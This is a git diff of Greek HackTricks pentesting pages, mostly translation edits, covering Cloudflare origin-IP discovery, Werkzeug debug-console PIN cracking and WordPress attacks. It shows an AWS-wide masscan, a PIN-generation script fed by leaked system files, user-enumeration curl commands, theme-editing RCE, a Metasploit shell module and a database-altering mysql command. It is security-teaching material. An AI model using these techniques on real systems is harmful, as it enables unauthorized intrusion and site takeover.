- Βίντεο που εξηγεί το AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) - Βίντεο που εξηγεί το AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -9,14 +9,14 @@
- Ελέγξτε επίσης **DNS records άλλων υποτομέων που δείχνουν απευθείας σε IPs**, καθώς είναι πιθανό άλλοι υποτομείς να δείχνουν στον ίδιο διακομιστή (ίσως για να προσφέρουν FTP, mail ή οποιαδήποτε άλλη υπηρεσία). - Ελέγξτε επίσης **DNS records άλλων υποτομέων που δείχνουν απευθείας σε IPs**, καθώς είναι πιθανό άλλοι υποτομείς να δείχνουν στον ίδιο διακομιστή (ίσως για να προσφέρουν FTP, mail ή οποιαδήποτε άλλη υπηρεσία).
- Αν βρείτε ένα **SSRF μέσα στην εφαρμογή ιστού** μπορείτε να το εκμεταλλευτείτε για να αποκτήσετε τη διεύθυνση IP του διακομιστή. - Αν βρείτε ένα **SSRF μέσα στην εφαρμογή ιστού** μπορείτε να το εκμεταλλευτείτε για να αποκτήσετε τη διεύθυνση IP του διακομιστή.
- Αναζητήστε μια μοναδική αλφαριθμητική συμβολοσειρά της ιστοσελίδας σε προγράμματα περιήγησης όπως το shodan (και ίσως το google και παρόμοια;). Ίσως μπορέσετε να βρείτε μια διεύθυνση IP με αυτό το περιεχόμενο. - Αναζητήστε μια μοναδική αλφαριθμητική συμβολοσειρά της ιστοσελίδας σε προγράμματα περιήγησης όπως το shodan (και ίσως το google και παρόμοια;). Ίσως μπορέσετε να βρείτε μια διεύθυνση IP με αυτό το περιεχόμενο.
- Με παρόμοιο τρόπο, αντί να αναζητάτε μια μοναδική συμβολοσειρά, θα μπορούσατε να αναζητήσετε το favicon icon με το εργαλείο: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ή με [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) - Με παρόμοιο τρόπο, αντί να αναζητήσετε μια μοναδική συμβολοσειρά, θα μπορούσατε να αναζητήσετε το favicon icon με το εργαλείο: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ή με [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
- Αυτό δεν θα λειτουργεί πολύ συχνά γιατί ο διακομιστής πρέπει να στείλει την ίδια απάντηση όταν προσπελάζεται από τη διεύθυνση IP, αλλά ποτέ δεν ξέρετε. - Αυτό δεν θα λειτουργήσει πολύ συχνά γιατί ο διακομιστής πρέπει να στείλει την ίδια απάντηση όταν προσπελάζεται από τη διεύθυνση IP, αλλά ποτέ δεν ξέρετε.
## Εργαλεία για την αποκάλυψη του Cloudflare ## Εργαλεία για την αποκάλυψη του Cloudflare
- Αναζητήστε τον τομέα μέσα [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) ή [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Ή χρησιμοποιήστε το εργαλείο [CloudPeler](https://github.com/zidansec/CloudPeler) (το οποίο χρησιμοποιεί αυτή την API) - Αναζητήστε τον τομέα μέσα σε [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) ή [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Ή χρησιμοποιήστε το εργαλείο [CloudPeler](https://github.com/zidansec/CloudPeler) (το οποίο χρησιμοποιεί αυτή την API)
- Αναζητήστε τον τομέα στο [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) - Αναζητήστε τον τομέα στο [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
- [**CloudFlair**](https://github.com/christophetd/CloudFlair) είναι ένα εργαλείο που θα αναζητήσει χρησιμοποιώντας τα πιστοποιητικά Censys που περιέχουν το όνομα τομέα, στη συνέχεια θα αναζητήσει IPv4s μέσα σε αυτά τα πιστοποιητικά και τελικά θα προσπαθήσει να αποκτήσει πρόσβαση στην ιστοσελίδα σε αυτές τις IPs. - [**CloudFlair**](https://github.com/christophetd/CloudFlair) είναι ένα εργαλείο που θα αναζητήσει χρησιμοποιώντας τα πιστοποιητικά Censys που περιέχουν το όνομα τομέα, στη συνέχεια θα αναζητήσει IPv4s μέσα σε αυτά τα πιστοποιητικά και τελικά θα προσπαθήσει να προσπελάσει την ιστοσελίδα σε αυτές τις IPs.
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): Το CloakQuest3r είναι ένα ισχυρό εργαλείο Python που έχει σχεδιαστεί προσεκτικά για να αποκαλύψει τη πραγματική διεύθυνση IP ιστοσελίδων που προστατεύονται από το Cloudflare και άλλες εναλλακτικές, μια ευρέως υιοθετημένη υπηρεσία ασφάλειας και βελτίωσης απόδοσης ιστού. Η κύρια αποστολή του είναι να διακρίνει με ακρίβεια τη πραγματική διεύθυνση IP των διακομιστών ιστού που είναι κρυμμένοι πίσω από την προστατευτική ασπίδα του Cloudflare. - [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): Το CloakQuest3r είναι ένα ισχυρό εργαλείο Python που έχει σχεδιαστεί προσεκτικά για να αποκαλύψει τη πραγματική διεύθυνση IP ιστοσελίδων που προστατεύονται από το Cloudflare και άλλες εναλλακτικές, μια ευρέως υιοθετημένη υπηρεσία ασφάλειας και βελτίωσης απόδοσης ιστού. Η κύρια αποστολή του είναι να διακρίνει με ακρίβεια τη πραγματική διεύθυνση IP των διακομιστών ιστού που είναι κρυμμένοι πίσω από την προστατευτική ασπίδα του Cloudflare.
- [Censys](https://search.censys.io/) - [Censys](https://search.censys.io/)
- [Shodan](https://shodan.io/) - [Shodan](https://shodan.io/)
@ -39,9 +39,11 @@ done
Σημειώστε ότι ακόμη και αν αυτό έγινε για μηχανές AWS, μπορεί να γίνει για οποιονδήποτε άλλο πάροχο cloud. Σημειώστε ότι ακόμη και αν αυτό έγινε για μηχανές AWS, μπορεί να γίνει για οποιονδήποτε άλλο πάροχο cloud.
Για μια καλύτερη περιγραφή αυτής της διαδικασίας ελέγξτε: Για μια καλύτερη περιγραφή αυτής της διαδικασίας, ελέγξτε:
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {{#ref}}
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
```bash ```bash
# Find open ports # Find open ports
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
@ -78,7 +80,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
### Cache ### Cache
Μερικές φορές απλά θέλετε να παρακάμψετε την Cloudflare για να κάνετε scraping της ιστοσελίδας. Υπάρχουν μερικές επιλογές για αυτό: Μερικές φορές θέλετε απλά να παρακάμψετε την Cloudflare για να κάνετε scraping της ιστοσελίδας. Υπάρχουν μερικές επιλογές για αυτό:
- Χρησιμοποιήστε την cache της Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog` - Χρησιμοποιήστε την cache της Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
- Χρησιμοποιήστε άλλες υπηρεσίες cache όπως [https://archive.org/web/](https://archive.org/web/) - Χρησιμοποιήστε άλλες υπηρεσίες cache όπως [https://archive.org/web/](https://archive.org/web/)
@ -124,9 +126,9 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
### Αντίστροφη Μηχανική της Προστασίας κατά των Bot της Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a> ### Αντίστροφη Μηχανική της Προστασίας κατά των Bot της Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
Η αντίστροφη μηχανική των μέτρων κατά των bot της Cloudflare είναι μια τακτική που χρησιμοποιούν οι πάροχοι έξυπνων proxy, κατάλληλη για εκτενή scraping ιστού χωρίς το υψηλό κόστος λειτουργίας πολλών headless browsers. Η αντίστροφη μηχανική των μέτρων κατά των bot της Cloudflare είναι μια τακτική που χρησιμοποιούν οι πάροχοι έξυπνων proxy, κατάλληλη για εκτενή scraping ιστοσελίδων χωρίς το υψηλό κόστος λειτουργίας πολλών headless browsers.
**Πλεονεκτήματα:** Αυτή η μέθοδος επιτρέπει τη δημιουργία μιας εξαιρετικά αποδοτικής παράκαμψης που στοχεύει συγκεκριμένα τους ελέγχους της Cloudflare, ιδανική για μεγάλες κλίμακες. **Πλεονεκτήματα:** Αυτή η μέθοδος επιτρέπει τη δημιουργία μιας εξαιρετικά αποτελεσματικής παράκαμψης που στοχεύει συγκεκριμένα τους ελέγχους της Cloudflare, ιδανική για μεγάλες κλίμακες.
**Μειονεκτήματα:** Το μειονέκτημα είναι η πολυπλοκότητα που εμπλέκεται στην κατανόηση και την εξαπάτηση του σκόπιμα ασαφούς συστήματος κατά των bot της Cloudflare, απαιτώντας συνεχή προσπάθεια για τη δοκιμή διαφορετικών στρατηγικών και την ενημέρωση της παράκαμψης καθώς η Cloudflare ενισχύει τις προστασίες της. **Μειονεκτήματα:** Το μειονέκτημα είναι η πολυπλοκότητα που εμπλέκεται στην κατανόηση και την εξαπάτηση του σκόπιμα ασαφούς συστήματος κατά των bot της Cloudflare, απαιτώντας συνεχή προσπάθεια για τη δοκιμή διαφορετικών στρατηγικών και την ενημέρωση της παράκαμψης καθώς η Cloudflare ενισχύει τις προστασίες της.

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Console RCE ## Console RCE
Αν η αποσφαλμάτωση είναι ενεργή, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο `/console` και να αποκτήσετε RCE. Αν η αποσφαλμάτωση είναι ενεργή, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο `/console` και να αποκτήσετε RCE.
@ -25,9 +24,9 @@ The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your You can find the PIN printed out on the standard output of your
shell that runs the server shell that runs the server
``` ```
Ένα μήνυμα σχετικά με το σενάριο "κλειδωμένη κονσόλα" εμφανίζεται όταν προσπαθείτε να αποκτήσετε πρόσβαση στη διεπαφή αποσφαλμάτωσης του Werkzeug, υποδεικνύοντας την απαίτηση για έναν κωδικό PIN για να ξεκλειδώσετε την κονσόλα. Προτείνεται να εκμεταλλευτείτε τον κωδικό PIN της κονσόλας αναλύοντας τον αλγόριθμο δημιουργίας PIN στο αρχείο αρχικοποίησης αποσφαλμάτωσης του Werkzeug (`__init__.py`). Ο μηχανισμός δημιουργίας PIN μπορεί να μελετηθεί από το [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), αν και συνιστάται να αποκτήσετε τον πραγματικό κωδικό του διακομιστή μέσω μιας ευπάθειας διαδρομής αρχείου λόγω πιθανών διαφορών εκδόσεων. Ένα μήνυμα σχετικά με το σενάριο "κλειδωμένη κονσόλα" εμφανίζεται όταν προσπαθείτε να αποκτήσετε πρόσβαση στη διεπαφή αποσφαλμάτωσης του Werkzeug, υποδεικνύοντας την απαίτηση ενός PIN για να ξεκλειδώσετε την κονσόλα. Προτείνεται να εκμεταλλευτείτε το PIN της κονσόλας αναλύοντας τον αλγόριθμο δημιουργίας PIN στο αρχείο αρχικοποίησης αποσφαλμάτωσης του Werkzeug (`__init__.py`). Μηχανισμός δημιουργίας PIN μπορεί να μελετηθεί από το [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), αν και συνιστάται να αποκτήσετε τον πραγματικό κώδικα του διακομιστή μέσω μιας ευπάθειας διαδρομής αρχείου λόγω πιθανών διαφορών έκδοσης.
Για να εκμεταλλευτείτε τον κωδικό PIN της κονσόλας, απαιτούνται δύο σύνολα μεταβλητών, `probably_public_bits` και `private_bits`: Για να εκμεταλλευτείτε το PIN της κονσόλας, απαιτούνται δύο σύνολα μεταβλητών, `probably_public_bits` και `private_bits`:
#### **`probably_public_bits`** #### **`probably_public_bits`**
@ -40,7 +39,7 @@ shell that runs the server
- **`uuid.getnode()`**: Ανακτά τη διεύθυνση MAC της τρέχουσας μηχανής, με το `str(uuid.getnode())` να την μετατρέπει σε δεκαδική μορφή. - **`uuid.getnode()`**: Ανακτά τη διεύθυνση MAC της τρέχουσας μηχανής, με το `str(uuid.getnode())` να την μετατρέπει σε δεκαδική μορφή.
- Για να **καθορίσετε τη διεύθυνση MAC του διακομιστή**, πρέπει να εντοπίσετε τη δραστήρια δικτυακή διεπαφή που χρησιμοποιείται από την εφαρμογή (π.χ., `ens3`). Σε περιπτώσεις αβεβαιότητας, **διαρρεύστε το `/proc/net/arp`** για να βρείτε το ID της συσκευής, στη συνέχεια **εξάγετε τη διεύθυνση MAC** από **`/sys/class/net/<device id>/address`**. - Για να **καθορίσετε τη διεύθυνση MAC του διακομιστή**, πρέπει να προσδιορίσετε τη δραστήρια δικτυακή διεπαφή που χρησιμοποιείται από την εφαρμογή (π.χ., `ens3`). Σε περιπτώσεις αβεβαιότητας, **διαρρεύστε το `/proc/net/arp`** για να βρείτε το ID της συσκευής, στη συνέχεια **εξάγετε τη διεύθυνση MAC** από **`/sys/class/net/<device id>/address`**.
- Η μετατροπή μιας δεκαεξαδικής διεύθυνσης MAC σε δεκαδική μπορεί να πραγματοποιηθεί όπως φαίνεται παρακάτω: - Η μετατροπή μιας δεκαεξαδικής διεύθυνσης MAC σε δεκαδική μπορεί να πραγματοποιηθεί όπως φαίνεται παρακάτω:
```python ```python
@ -49,7 +48,7 @@ shell that runs the server
94558041547692 94558041547692
``` ```
- **`get_machine_id()`**: Συγκεντρώνει δεδομένα από το `/etc/machine-id` ή το `/proc/sys/kernel/random/boot_id` με την πρώτη γραμμή του `/proc/self/cgroup` μετά την τελευταία κάθετο (`/`). - **`get_machine_id()`**: Συνενώνει δεδομένα από το `/etc/machine-id` ή το `/proc/sys/kernel/random/boot_id` με την πρώτη γραμμή του `/proc/self/cgroup` μετά την τελευταία κάθετο (`/`).
<details> <details>
@ -141,10 +140,10 @@ rv = num
print(rv) print(rv)
``` ```
Αυτό το σενάριο παράγει το PIN με το να έχει το hash των συνδυασμένων bits, προσθέτοντας συγκεκριμένα salts (`cookiesalt` και `pinsalt`), και μορφοποιώντας την έξοδο. Είναι σημαντικό να σημειωθεί ότι οι πραγματικές τιμές για `probably_public_bits` και `private_bits` πρέπει να αποκτηθούν με ακρίβεια από το σύστημα στόχο για να διασφαλιστεί ότι το παραγόμενο PIN ταιριάζει με αυτό που αναμένεται από την κονσόλα Werkzeug. Αυτό το σενάριο παράγει το PIN με την κατακερματισμένη σύνθεση των bits, προσθέτοντας συγκεκριμένα salts (`cookiesalt` και `pinsalt`), και μορφοποιώντας την έξοδο. Είναι σημαντικό να σημειωθεί ότι οι πραγματικές τιμές για `probably_public_bits` και `private_bits` πρέπει να αποκτηθούν με ακρίβεια από το στοχευμένο σύστημα για να διασφαλιστεί ότι το παραγόμενο PIN ταιριάζει με αυτό που αναμένεται από την κονσόλα Werkzeug.
> [!TIP] > [!TIP]
> Αν είστε σε μια **παλιά έκδοση** του Werkzeug, δοκιμάστε να αλλάξετε τον **αλγόριθμο hashing σε md5** αντί για sha1. > Αν είστε σε μια **παλιά έκδοση** του Werkzeug, δοκιμάστε να αλλάξετε τον **αλγόριθμο κατακερματισμού σε md5** αντί για sha1.
## Werkzeug Unicode χαρακτήρες ## Werkzeug Unicode χαρακτήρες
@ -154,7 +153,9 @@ print(rv)
## Αυτοματοποιημένη Εκμετάλλευση ## Αυτοματοποιημένη Εκμετάλλευση
{% embed url="https://github.com/Ruulian/wconsole_extractor" %} {{#ref}}
https://github.com/Ruulian/wconsole_extractor
{{#endref}}
## Αναφορές ## Αναφορές
@ -163,5 +164,4 @@ print(rv)
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -5,11 +5,11 @@
## Basic Information ## Basic Information
- **Τα αρχεία που έχουν ανέβει** βρίσκονται στο: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Τα αρχεία που έχουν ανέβει** βρίσκονται στο: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Τα αρχεία θεμάτων βρίσκονται στο /wp-content/themes/,** οπότε αν αλλάξετε κάποιο php του θέματος για να αποκτήσετε RCE, πιθανότατα θα χρησιμοποιήσετε αυτή τη διαδρομή. Για παράδειγμα: Χρησιμοποιώντας **το θέμα twentytwelve** μπορείτε να **έχετε πρόσβαση** στο **404.php** αρχείο στο: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Τα αρχεία θεμάτων μπορούν να βρεθούν στο /wp-content/themes/,** οπότε αν αλλάξετε κάποιο php του θέματος για να αποκτήσετε RCE, πιθανότατα θα χρησιμοποιήσετε αυτή τη διαδρομή. Για παράδειγμα: Χρησιμοποιώντας **θέμα twentytwelve** μπορείτε να **έχετε πρόσβαση** στο **404.php** αρχείο στο: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Μια άλλη χρήσιμη διεύθυνση θα μπορούσε να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Μια άλλη χρήσιμη διεύθυνση θα μπορούσε να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Στο **wp-config.php** μπορείτε να βρείτε τον κωδικό πρόσβασης της βάσης δεδομένων. - Στο **wp-config.php** μπορείτε να βρείτε τον κωδικό πρόσβασης του root της βάσης δεδομένων.
- Προεπιλεγμένες διαδρομές σύνδεσης για έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ - Προεπιλεγμένες διαδρομές σύνδεσης για έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Κύρια Αρχεία WordPress** ### **Κύρια Αρχεία WordPress**
@ -26,7 +26,7 @@
- Ο φάκελος `wp-content` είναι ο κύριος κατάλογος όπου αποθηκεύονται τα πρόσθετα και τα θέματα. - Ο φάκελος `wp-content` είναι ο κύριος κατάλογος όπου αποθηκεύονται τα πρόσθετα και τα θέματα.
- `wp-content/uploads/` Είναι ο κατάλογος όπου αποθηκεύονται όλα τα αρχεία που έχουν ανέβει στην πλατφόρμα. - `wp-content/uploads/` Είναι ο κατάλογος όπου αποθηκεύονται όλα τα αρχεία που έχουν ανέβει στην πλατφόρμα.
- `wp-includes/` Αυτός είναι ο κατάλογος όπου αποθηκεύονται τα βασικά αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets. - `wp-includes/` Αυτός είναι ο κατάλογος όπου αποθηκεύονται τα βασικά αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.
- `wp-sitemap.xml` Στις εκδόσεις WordPress 5.5 και μεγαλύτερες, το WordPress δημιουργεί ένα αρχείο XML χάρτη ιστότοπου με όλες τις δημόσιες αναρτήσεις και τους δημόσια ερωτήσιμους τύπους αναρτήσεων και ταξινομήσεις. - `wp-sitemap.xml` Στις εκδόσεις WordPress 5.5 και μεγαλύτερες, το WordPress δημιουργεί ένα αρχείο sitemap XML με όλες τις δημόσιες αναρτήσεις και τους δημόσια ερωτήσιμους τύπους αναρτήσεων και ταξινομήσεις.
**Post exploitation** **Post exploitation**
@ -85,13 +85,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Χρήστες ### Χρήστες
- **ID Brute:** Αποκτάτε έγκυρους χρήστες από μια ιστοσελίδα WordPress εκτελώντας Brute Force στους αναγνωριστικούς αριθμούς χρηστών: - **ID Brute:** Αποκτάτε έγκυρους χρήστες από μια ιστοσελίδα WordPress εκτελώντας Brute Force στους ID χρηστών:
```bash ```bash
curl -s -I -X GET http://blog.example.com/?author=1 curl -s -I -X GET http://blog.example.com/?author=1
``` ```
Αν οι απαντήσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Αν η απάντηση είναι **400**, τότε το id είναι **μη έγκυρο**. Αν οι απαντήσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Αν η απάντηση είναι **400**, τότε το id είναι **μη έγκυρο**.
- **wp-json:** Μπορείτε επίσης να προσπαθήσετε να αποκτήσετε πληροφορίες σχετικά με τους χρήστες κάνοντας ερώτηση: - **wp-json:** Μπορείτε επίσης να προσπαθήσετε να αποκτήσετε πληροφορίες σχετικά με τους χρήστες κάνοντας ερώτημα:
```bash ```bash
curl http://blog.example.com/wp-json/wp/v2/users curl http://blog.example.com/wp-json/wp/v2/users
``` ```
@ -134,7 +134,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
``` ```
Το μήνυμα _"Λάθος όνομα χρήστη ή κωδικός"_ μέσα σε μια απάντηση κωδικού 200 θα πρέπει να εμφανίζεται αν τα διαπιστευτήρια δεν είναι έγκυρα. Το μήνυμα _"Λάθος όνομα χρήστη ή κωδικός"_ μέσα σε μια απάντηση κωδικού 200 θα πρέπει να εμφανίζεται αν τα διαπιστευτήρια δεν είναι έγκυρα.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>) ![](<../../images/image (721).png>)
@ -225,7 +225,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
## SSRF ## SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} {{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Αυτό το εργαλείο ελέγχει αν η **methodName: pingback.ping** και για τη διαδρομή **/wp-json/oembed/1.0/proxy** και αν υπάρχει, προσπαθεί να τις εκμεταλλευτεί. Αυτό το εργαλείο ελέγχει αν η **methodName: pingback.ping** και για τη διαδρομή **/wp-json/oembed/1.0/proxy** και αν υπάρχει, προσπαθεί να τις εκμεταλλευτεί.
@ -252,7 +254,7 @@ return new WP_Error(
![](<../../images/image (384).png>) ![](<../../images/image (384).png>)
Αναζητήστε στο διαδίκτυο πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή τη ενημερωμένη σελίδα. Σε αυτή την περίπτωση, πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) Αναζητήστε στο διαδίκτυο πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτήν την ενημερωμένη σελίδα. Σε αυτή την περίπτωση, πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF ### MSF
@ -305,7 +307,7 @@ to get a session.
- Το Metasploit framework παρέχει μια εκμετάλλευση για αυτήν την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια συνεδρία meterpreter, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο. - Το Metasploit framework παρέχει μια εκμετάλλευση για αυτήν την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια συνεδρία meterpreter, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο.
- Σημειώνεται ότι αυτή είναι μόνο μία από τις πολλές μεθόδους για την εκμετάλλευση ενός ιστότοπου WordPress. - Σημειώνεται ότι αυτή είναι μόνο μία από τις πολλές μεθόδους για την εκμετάλλευση ενός ιστότοπου WordPress.
Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στον πίνακα ελέγχου του WordPress για την εγκατάσταση και την ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες θα πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως η διείσδυση με ρητή άδεια. Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στον πίνακα ελέγχου του WordPress για την εγκατάσταση και την ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες θα πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως η δοκιμή διείσδυσης με ρητή άδεια.
**Για πιο λεπτομερή βήματα ελέγξτε:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) **Για πιο λεπτομερή βήματα ελέγξτε:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
@ -316,7 +318,7 @@ to get a session.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Μεταφορτώστε το προσαρμοσμένο plugin (backdoor) σας στο WordPress. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Μεταφορτώστε το προσαρμοσμένο plugin (backdoor) σας στο WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Επεξεργαστείτε ένα ενσωματωμένο plugin στο WordPress. - _**(RCE) Built-In Plugin Edit:**_ Επεξεργαστείτε ένα ενσωματωμένο plugin στο WordPress.
- _**(RCE) Built-In Theme Edit:**_ Επεξεργαστείτε ένα ενσωματωμένο θέμα στο WordPress. - _**(RCE) Built-In Theme Edit:**_ Επεξεργαστείτε ένα ενσωματωμένο θέμα στο WordPress.
- _**(Custom) Custom Exploits:**_ Προσαρμοσμένες εκμεταλλεύσεις για τρίτα plugins/θέματα WordPress. - _**(Custom) Custom Exploits:**_ Προσαρμοσμένες εκμεταλλεύσεις για τρίτα μέρη WordPress Plugins/Themes.
## Post Exploitation ## Post Exploitation
@ -336,7 +338,7 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
- **`wp_ajax`**&#x20; - **`wp_ajax`**&#x20;
